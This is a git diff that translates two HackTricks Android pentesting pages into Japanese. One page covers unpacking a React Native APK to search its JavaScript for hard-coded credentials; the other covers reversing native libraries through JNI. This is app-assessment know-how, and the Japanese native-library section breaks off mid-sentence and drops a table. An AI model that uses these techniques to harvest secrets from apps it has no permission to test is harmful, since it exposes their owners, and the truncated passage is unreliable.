☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか**? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/mobile-pentesting/android-app-pentesting/react-native-application.md b/mobile-pentesting/android-app-pentesting/react-native-application.md index 125e4fe0e..6b813bc57 100644 --- a/mobile-pentesting/android-app-pentesting/react-native-application.md +++ b/mobile-pentesting/android-app-pentesting/react-native-application.md @@ -1,63 +1,55 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-**Information copied from** [**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7) +**情報はここからコピーされました** [**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7) -React Native is a **mobile application framework** that is most commonly used to develop applications for **Android** and **iOS** by enabling the use of React and native platform capabilities. These days, it’s become increasingly popular to use React across platforms.\ -But most of the time, the core logic of the application lies in the React Native **JavaScript that can be obtained** without needing to use dex2jar. +React Nativeは、Reactとネイティブプラットフォームの機能を利用して、主に**Android**と**iOS**向けのアプリケーションを開発するために最も一般的に使用される**モバイルアプリケーションフレームワーク**です。これらの日々、Reactをプラットフォーム間で使用することがますます人気になっています。\ +しかし、ほとんどの場合、アプリケーションのコアロジックは、dex2jarを使用する必要なく取得できるReact Nativeの**JavaScript**にあります。 -## **Step-1**: Let’s confirm whether the application was built on React Native framework. - -To check this, rename the APK with zip extension and then extract the APK to a new folder using the following command +## **ステップ1**:アプリケーションがReact Nativeフレームワークで構築されているかを確認しましょう。 +これを確認するには、APKの拡張子をzipに変更し、次のコマンドを使用してAPKを新しいフォルダに展開します。 ``` cp com.example.apk example-apk.zip unzip -qq example-apk.zip -d ReactNative ``` - -Browse to the newly created `ReactNative` folder, and find the `assets` folder. Inside this folder, it should contain `index.android.bundle`. This file will contain all of the React JavaScript in a **minified format.**React Native Reverse Engineering - +新しく作成された`ReactNative`フォルダに移動し、`assets`フォルダを見つけます。このフォルダの中には`index.android.bundle`が含まれているはずです。このファイルには、すべてのReact JavaScriptが**圧縮形式で**含まれています。React Nativeのリバースエンジニアリング ```bash find . -print | grep -i ".bundle$" ``` +![投稿用の画像](https://miro.medium.com/max/1559/1\*enjF2H7PclRAIcNCxDIOJw.png) -![Image for post](https://miro.medium.com/max/1559/1\*enjF2H7PclRAIcNCxDIOJw.png) - -## **Step-2**: Creating a file named `index.html` in the same directory with the following code in it. - -You can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) or proceed with the following steps: +## **ステップ2**: 同じディレクトリに`index.html`という名前のファイルを作成し、以下のコードを入力します。 +ファイルを[https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/)にアップロードするか、以下の手順を実行します。 ```markup ``` - ![Image for post](https://miro.medium.com/max/1526/1\*Qrg2jrXF8UxwbbRJJVWmRw.png) -Open the **index.html** file in **Google Chrome**. Open up the Developer Toolbar (**Command+Option+J for OS X or Control+Shift+J for Windows**), and click on “Sources”. You should see a JavaScript file, split up into folders and files that make up the main bundle. +**index.html**ファイルを**Google Chrome**で開きます。開発者ツールバー(**OS Xの場合はCommand+Option+J、Windowsの場合はControl+Shift+J**)を開き、「Sources」をクリックします。メインバンドルを構成するフォルダとファイルに分割されたJavaScriptファイルが表示されるはずです。 -> If you are able to find a file called `index.android.bundle.map`, you will be able to analyze the source code in an unminified format. `map` files contain the source mapping that allows you to map minified identifiers. +> もし`index.android.bundle.map`というファイルを見つけることができれば、ソースコードを非最小化形式で分析することができます。`map`ファイルには、最小化された識別子をマッピングするためのソースマッピングが含まれています。 -## **Step-3**: search for sensitive credentials and endpoints +## **ステップ3**: 機密情報とエンドポイントの検索 -In this phase, you have to identify the **sensitive keywords** to analyze the **Javascript** code. A pattern that is popular with React Native applications, is the use of a third party services like such as Firebase, AWS s3 service endpoints, private keys etc., +このフェーズでは、**Javascript**コードを分析するために**機密キーワード**を特定する必要があります。React Nativeアプリケーションでよく見られるパターンは、FirebaseやAWS S3サービスのエンドポイント、プライベートキーなどのサードパーティサービスの使用です。 -During my initial **recon process**, I have observed the application using the Dialogflow service. So based on this, I have searched a pattern related to its configuration. Fortunately, I was able to find **sensitive hard-coded credentials** in the Javascript code. +初期の**情報収集プロセス**で、このアプリケーションがDialogflowサービスを使用していることを確認しました。そのため、その設定に関連するパターンを検索しました。幸運なことに、Javascriptコードの中に**機密情報がハードコードされている**ことがわかりました。 ![Image for post](https://miro.medium.com/max/2086/1\*RAToFnqpp9ndM0lBeMlz6g.png) @@ -66,16 +58,14 @@ During my initial **recon process**, I have observed the application using the D ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - - diff --git a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index d7d4681cd..46f49cc34 100644 --- a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -1,160 +1,137 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**Information copied from **[**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)** (you can find solutions there)** +**情報はここからコピーされました**[**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)**(解決策はそこにあります)** -Android applications can contain compiled, native libraries. Native libraries are code that the developer wrote and then compiled for a specific computer architecture. Most often, this means code that is written in C or C++. The benign, or legitimate, reasons a developer may do this is for mathematically intensive or time sensitive operations, such as graphics libraries. Malware developers have begun moving to native code because reverse engineering compiled binaries tends to be a less common skillset than analyzing DEX bytecode. This is largely due to DEX bytecode can be decompiled to Java whereas native, compiled code, often must be analyzed as assembly. +Androidアプリケーションには、コンパイルされたネイティブライブラリが含まれることがあります。ネイティブライブラリは、開発者が特定のコンピュータアーキテクチャ向けに書いてコンパイルしたコードです。ほとんどの場合、これはCまたはC++で書かれたコードを意味します。開発者がこれを行う正当な理由は、数学的に集中的な操作や時間的に敏感な操作(グラフィックスライブラリなど)のためです。マルウェア開発者は、DEXバイトコードの解析よりもコンパイルされたバイナリのリバースエンジニアリングのスキルセットが一般的に少ないため、ネイティブコードに移行し始めています。これは、DEXバイトコードはJavaに逆コンパイルできるのに対し、ネイティブのコンパイルされたコードはアセンブリとして解析する必要があるためです。 -## Goal +## ゴール -The goal of this section is not to teach you assembly (ASM) or how to reverse engineer compiled code more generally, but instead how to apply the more general binary reverse engineering skills, specifically to Android. Because the goal of this workshop is not to teach you the ASM architectures, all exercises will include an ARM _and_ an x86 version of the library to be analyzed so that each person can choose the architecture that they are more comfortable with. +このセクションの目的は、アセンブリ(ASM)を教えることやコンパイルされたコードをより一般的にリバースエンジニアリングする方法を教えることではありません。代わりに、より一般的なバイナリリバースエンジニアリングのスキルをAndroidに特化して適用する方法を教えます。このワークショップの目的はASMアーキテクチャを教えることではないため、すべての演習には解析するためのARMバージョンとx86バージョンのライブラリが含まれています。各人がより快適なアーキテクチャを選択できるようにするためです。 -### Learning ARM Assembly +### ARMアセンブリの学習 -If you don’t have previous binary reverse engineering/ assembly experience, here are some suggested resources. Most Android devices run on ARM, but all exercises in this workshop also include an x86 version of the library. +バイナリリバースエンジニアリング/アセンブリの経験がない場合、以下のリソースを参照してください。ほとんどのAndroidデバイスはARM上で実行されますが、このワークショップのすべての演習にはライブラリのx86バージョンも含まれています。 -To learn and/or review ARM assembly, I highly suggest the [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) from [Azeria Labs](https://azeria-labs.com). +ARMアセンブリを学び、または復習するには、[Azeria Labs](https://azeria-labs.com)の[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)を強くお勧めします。 -## Introduction to the Java Native Interface (JNI) +## Java Native Interface(JNI)の紹介 -The Java Native Interface (JNI) allows developers to declare Java methods that are implemented in native code (usually compiled C/C++). JNI interface is not Android-specific, but is available more generally to Java applications that run on different platforms. +Java Native Interface(JNI)は、ネイティブコード(通常はコンパイルされたC/C++)で実装されたJavaメソッドを宣言することを開発者に許可します。JNIインターフェースはAndroid固有ではありませんが、さまざまなプラットフォームで実行されるJavaアプリケーションに一般的に利用できます。 -The Android Native Development Kit (NDK) is the Android-specific toolset on top of JNI. According to the [docs](https://developer.android.com/ndk/guides): +Android Native Development Kit(NDK)は、JNIの上にあるAndroid固有のツールセットです。[ドキュメント](https://developer.android.com/ndk/guides)によると: -> In Android, the Native Development Kit (NDK) is a toolset that permits developers to write C and C++ code for their Android apps. +> Androidでは、ネイティブ開発キット(NDK)は、開発者がAndroidアプリのためにCおよびC++コードを書くことを許可するツールセットです。 -Together, JNI and NDK allow Android developers to implement some of their app’s functionality in native code. The Java (or Kotlin) code will call a Java-declared native method which is implemented in the compiled, native library. +JNIとNDKを組み合わせることで、Android開発者はアプリの一部の機能をネイティブコードで実装することができます。Java(またはKotlin)コードは、コンパイルされたネイティブライブラリで実装されたJavaで宣言されたネイティブメソッドを呼び出します。 -### References +### 参考文献 -**Oracle JNI Docs** +**Oracle JNIドキュメント** -* [JNI Specification](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) -* [JNI Functions](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html) <– I always have this one open and refer to it while reversing Android native libraries +* [JNI仕様](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) +* [JNI関数](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html) <– Androidネイティブライブラリのリバースエンジニアリング時に常に参照しています -**Android JNI & NDK References** +**Android JNI&NDKリファレンス** -* [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) <– Highly suggest reading the “Native Libraries” section to start -* [Getting Started with the NDK](https://developer.android.com/ndk/guides/) <– This is guidance for how developers develop native libraries and understanding how things are built, makes it easier to reverse. +* [Android JNIのヒント](https://developer.android.com/training/articles/perf-jni) <– 「ネイティブライブラリ」セクションを読むことを強くお勧めします +* [NDKのはじめ方](https://developer.android.com/ndk/guides/) <– ネイティブライブラリの開発方法とビルド方法を理解するためのガイダンスです。これにより、リバースエンジニアリングが容易になります。 -## Target of Analysis - Android Native Libraries +## 解析対象 - Androidネイティブライブラリ -For this section, we are focusing on how to reverse engineer app functionality that has been implemented in Android native libraries. When we say Android native libraries, what do we mean? +このセクションでは、Androidネイティブライブラリに実装されたアプリの機能をリバースエンジニアリングする方法に焦点を当てています。Androidネイティブライブラリとは何を意味するのでしょうか? -Android native libraries are included in APKs as `.so`, shared object libraries, in the ELF file format. If you have analyzed Linux binaries previously, it’s the same format. +Androidネイティブライブラリは、APKに`.so`という拡張子の共有オブジェクトライブラリとして含まれます。以前にLinuxバイナリを分析したことがある場合、同じ形式です。 -These libraries by default are included in the APK at the file path `/lib//lib.so`. This is the default path, but developers could also choose to include the native library in `/assets/` if they so choose. More often, we are seeing malware developers choose to include native libraries in paths other than `/lib` and using different file extensions to attempt to “hide” the presence of the native library. - -Because native code is compiled for specific CPUs, if a developer wants their app to run on more than 1 type of hardware, they have to include each of those versions of the compiled, native library in the application. The default path mentioned above, includes a directory for each cpu type officially supported by Android. - -| CPU | Native Library Path | -| -------------------- | ---------------------------- | -| “generic” 32-bit ARM | `lib/armeabi/libcalc.so` | -| x86 | `lib/x86/libcalc.so` | -| x64 | `lib/x86_64/libcalc.so` | -| ARMv7 | `lib/armeabi-v7a/libcalc.so` | -| ARM64 | `lib/arm64-v8a/libcalc.so` | - -## Loading the Library - -Before an Android app can call and execute any code that is implemented in a native library, the application (Java code) must load the library into memory. There are two different API calls that will do this: +これらのライブラリはデフォルトでAPKに以下の +## ライブラリの読み込み +Androidアプリがネイティブライブラリで実装されたコードを呼び出して実行する前に、アプリケーション(Javaコード)はライブラリをメモリに読み込む必要があります。これを行うためには、2つの異なるAPI呼び出しがあります。 ``` System.loadLibrary("calc") ``` - -or - +または ``` System.load("lib/armeabi/libcalc.so") ``` +## ネイティブライブラリのリバースエンジニアリング -The difference between the two api calls is that `loadLibrary` only take takes the library short name as an argument (ie. libcalc.so = “calc” & libinit.so = “init”) and the system will correctly determine the architecture it’s currently running on and thus the correct file to use. On the other hand, `load` requires the full path to the library. This means that the app developer has to determine the architecture and thus the correct library file to load themselves. +2つのAPI呼び出しの違いは、`loadLibrary`はライブラリの短い名前(例:libcalc.so = "calc"、libinit.so = "init")を引数として受け取るだけであり、システムは現在実行中のアーキテクチャとそれに応じた正しいファイルを自動的に選択します。一方、`load`はライブラリの完全なパスを必要とします。つまり、アプリの開発者はアーキテクチャとそれに応じた正しいライブラリファイルを自分で選択する必要があります。 -When either of these two (`loadLibrary` or `load`) APIs are called by the Java code, the native library that is passed as an argument executes its `JNI_OnLoad` if it was implemented in the native library. +これらのいずれか(`loadLibrary`または`load`)のAPIがJavaコードによって呼び出されると、引数として渡されたネイティブライブラリは、ネイティブライブラリに実装されている場合に`JNI_OnLoad`を実行します。 -To reiterate, before executing any native methods, the native library has to be loaded by calling `System.loadLibrary` or `System.load` in the Java code. When either of these 2 APIs is executed, the `JNI_OnLoad` function in the native library is also executed. +再度強調しますが、ネイティブメソッドを実行する前に、ネイティブライブラリをJavaコードで`System.loadLibrary`または`System.load`を呼び出してロードする必要があります。これらの2つのAPIのいずれかが実行されると、ネイティブライブラリ内の`JNI_OnLoad`関数も実行されます。 -## The Java to Native Code Connection +## Javaからネイティブコードへの接続 -In order to execute a function from the native library, there must be a Java-declared native method that the Java code can call. When this Java-declared native method is called, the “paired” native function from the native library (ELF/.so) is executed. - -A Java-declared native method appears in the Java code as below. It appears like any other Java method, except it includes the `native` keyword and has no code in its implementation, because its code is actually in the compiled, native library. +ネイティブライブラリから関数を実行するためには、Javaコードから呼び出すことができるJavaで宣言されたネイティブメソッドが必要です。このJavaで宣言されたネイティブメソッドが呼び出されると、ネイティブライブラリ(ELF/.so)から「ペアリングされた」ネイティブ関数が実行されます。 +Javaで宣言されたネイティブメソッドは、以下のようにJavaコードに表示されます。他のJavaメソッドと同様に表示されますが、`native`キーワードが含まれ、実装にコードがないため、実際のコードはコンパイルされたネイティブライブラリにあります。 ``` public native String doThingsInNativeLibrary(int var0); ``` +このネイティブメソッドを呼び出すために、Javaコードは他のJavaメソッドと同様に呼び出します。しかし、バックエンドでは、JNIとNDKは代わりにネイティブライブラリ内の対応する関数を実行します。これを行うためには、Javaで宣言されたネイティブメソッドとネイティブライブラリ内の関数のペアリングを知る必要があります。 -To call this native method, the Java code would call it like any other Java method. However, in the backend, the JNI and NDK would instead execute the corresponding function in the native library. To do this, it must know the pairing between a Java-declared native method with a function in the native library. +このペアリング、またはリンクを行うためには、2つの異なる方法があります。 -There are 2 different ways to do this pairing, or linking: +1. JNIネイティブメソッド名の解決を使用した動的リンキング、または +2. `RegisterNatives` API呼び出しを使用した静的リンキング -1. Dynamic Linking using JNI Native Method Name Resolving, or -2. Static Linking using the `RegisterNatives` API call +### 動的リンキング -### Dynamic Linking +Javaで宣言されたネイティブメソッドとネイティブライブラリ内の関数を動的にリンクまたはペアリングするために、開発者はメソッドと関数の名前を仕様に従って指定し、JNIシステムが動的にリンクできるようにします。 -In order to link, or pair, the Java declared native method and the function in the native library dynamically, the developer names the method and the function according to the specs such that the JNI system can dynamically do the linking. +仕様によれば、開発者は以下のコンポーネントからなる関数名を指定する必要があります。ネイティブメソッド名は次のように連結されます。 -According to the spec, the developer would name the function as follow for the system to be able to dynamically link the native method and function. A native method name is concatenated from the following components: - -1. the prefix Java\_ -2. a mangled fully-qualified class name -3. an underscore (“\_”) separator -4. a mangled method name -5. for overloaded native methods, two underscores (“\__”) followed by the mangled argument signature - -In order to do dynamic linking for the Java-declared native method below and let’s say it’s in the class `com.android.interesting.Stuff` +1. プレフィックスJava\_ +2. マングル化された完全修飾クラス名 +3. アンダースコア("\_")セパレータ +4. マングル化されたメソッド名 +5. オーバーロードされたネイティブメソッドの場合、アンダースコア2つ("\__")に続いてマングル化された引数シグネチャ +以下のJavaで宣言されたネイティブメソッドに対して動的リンキングを行うために、例えばクラス`com.android.interesting.Stuff`内にあるとします。 ``` public native String doThingsInNativeLibrary(int var0); ``` - -The function in the native library would need to be named: - +ネイティブライブラリ内の関数は次のように名前付ける必要があります: ``` Java_com_android_interesting_Stuff_doThingsInNativeLibrary ``` +もしネイティブライブラリにその名前の関数が存在しない場合、アプリケーションは静的リンキングを行っている可能性があります。 -If there is not a function in the native library with that name, that means that the application must be doing static linking. - -### Static Linking - -If the developer doesn’t want to or can not name the native functions according to the spec (Ex. wants to strip debug symbols), then they must use static linking with the `RegisterNatives` ([doc](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html#wp5833)) API in order to do the pairing between the Java-declared native method and the function in the native library. The `RegisterNatives` function is called from the native code, not the Java code and is most often called in the `JNI_OnLoad` function since `RegisterNatives` must be executed prior to calling the Java-declared native method. +### 静的リンキング +開発者が仕様に従ってネイティブ関数の名前を付けることを望まない場合(例:デバッグシンボルを削除したい場合)、またはできない場合、Javaで宣言されたネイティブメソッドとネイティブライブラリの関数をペアリングするために、`RegisterNatives`([ドキュメント](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html#wp5833))APIを使用する必要があります。`RegisterNatives`関数はネイティブコードから呼び出され、Javaコードではなく、通常は`JNI_OnLoad`関数内で呼び出されます。なぜなら、`RegisterNatives`はJavaで宣言されたネイティブメソッドを呼び出す前に実行する必要があるからです。 ``` jint RegisterNatives(JNIEnv *env, jclass clazz, const JNINativeMethod *methods, jint nMethods); -typedef struct { - char *name; - char *signature; - void *fnPtr; +typedef struct { +char *name; +char *signature; +void *fnPtr; } JNINativeMethod; ``` +リバースエンジニアリングを行う際、アプリケーションが静的リンキング方式を使用している場合、私たちアナリストは`RegisterNatives`に渡される`JNINativeMethod`構造体を見つけることができます。これにより、Javaで宣言されたネイティブメソッドが呼び出された際にネイティブライブラリ内のどのサブルーチンが実行されるかを特定することができます。 -When reverse engineering, if the application is using the static linking method, we as analysts can find the `JNINativeMethod` struct that is being passed to `RegisterNatives` in order to determine which subroutine in the native library is executed when the Java-declared native method is called. +`JNINativeMethod`構造体には、Javaで宣言されたネイティブメソッド名の文字列とメソッドのシグネチャの文字列が必要です。そのため、これらをネイティブライブラリ内で見つけることができるはずです。 -The `JNINativeMethod` struct requires a string of the Java-declared native method name and a string of the method’s signature, so we should be able to find these in our native library. +**メソッドのシグネチャ** -**Method Signature** - -The `JNINativeMethod` struct requires the method signature. A method signature states the types of the arguments that the method takes and the type of what it returns. This link documents [JNI Type Signatures](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/types.html) in the “Type Signatures” section. +`JNINativeMethod`構造体には、メソッドのシグネチャが必要です。メソッドのシグネチャは、メソッドが受け取る引数の型と返り値の型を示します。このリンクでは、[JNIの型シグネチャ](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/types.html)が「Type Signatures」セクションで文書化されています。 * Z: boolean * B: byte @@ -169,73 +146,65 @@ The `JNINativeMethod` struct requires the method signature. A method signature s * ( arg-types ) ret-type: method type * V: void -For the native method - +ネイティブメソッドの場合 ``` public native String doThingsInNativeLibrary(int var0); ``` - -The type signature is - +型シグネチャは以下の通りです。 ``` (I)Ljava/lang/String; ``` - -Here’s another example of a native method and its signature. For the following is the method declaration - +以下は、ネイティブメソッドとそのシグネチャの別の例です。以下は、メソッドの宣言です。 ``` -public native long f (int n, String s, int[] arr); +public native long f (int n, String s, int[] arr); ``` - -It has the type signature: - +それは次の型シグネチャを持っています: ``` (ILjava/lang/String;[I)J ``` +### Exercise #5 - ネイティブ関数のアドレスを見つける -### Exercise #5 - Find the Address of the Native Function +Exercise #5では、ディスアセンブラでネイティブライブラリをロードし、ネイティブメソッドが呼び出されたときに実行されるネイティブ関数を特定する方法を学びます。この演習では、ネイティブメソッドをリバースエンジニアリングすることではなく、Javaでネイティブメソッドが呼び出されるときに実行される関数とネイティブライブラリの関連を見つけることが目標です。この演習では、サンプルのMediacode.apkを使用します。このサンプルはVM内の`~/samples/Mediacode.apk`にあります。SHA256ハッシュはa496b36cda66aaf24340941da8034bd53940d1b08d83a97f17a65ae144ebf91aです。 -In Exercise #5 we’re going to learn to load native libraries in a disassembler and identify the native function that is executed when a native method is called. For this particular exercise, the goal is not to reverse engineer the native method, just to find the link between the call to the native method in Java and the function that is executed in the native library. For this exercise, we will be using the sample Mediacode.apk. This sample is available at `~/samples/Mediacode.apk` in the VM. Its SHA256 hash is a496b36cda66aaf24340941da8034bd53940d1b08d83a97f17a65ae144ebf91a. +**目標** -**Goal** +この演習の目標は次のとおりです。 -The goal of this exercise is to: +1. DEXバイトコードで宣言されたネイティブメソッドを特定する +2. ロードされるネイティブライブラリを特定する(したがって、ネイティブメソッドが実装されている場所) +3. APKからネイティブライブラリを抽出する +4. ネイティブライブラリをディスアセンブラにロードする +5. 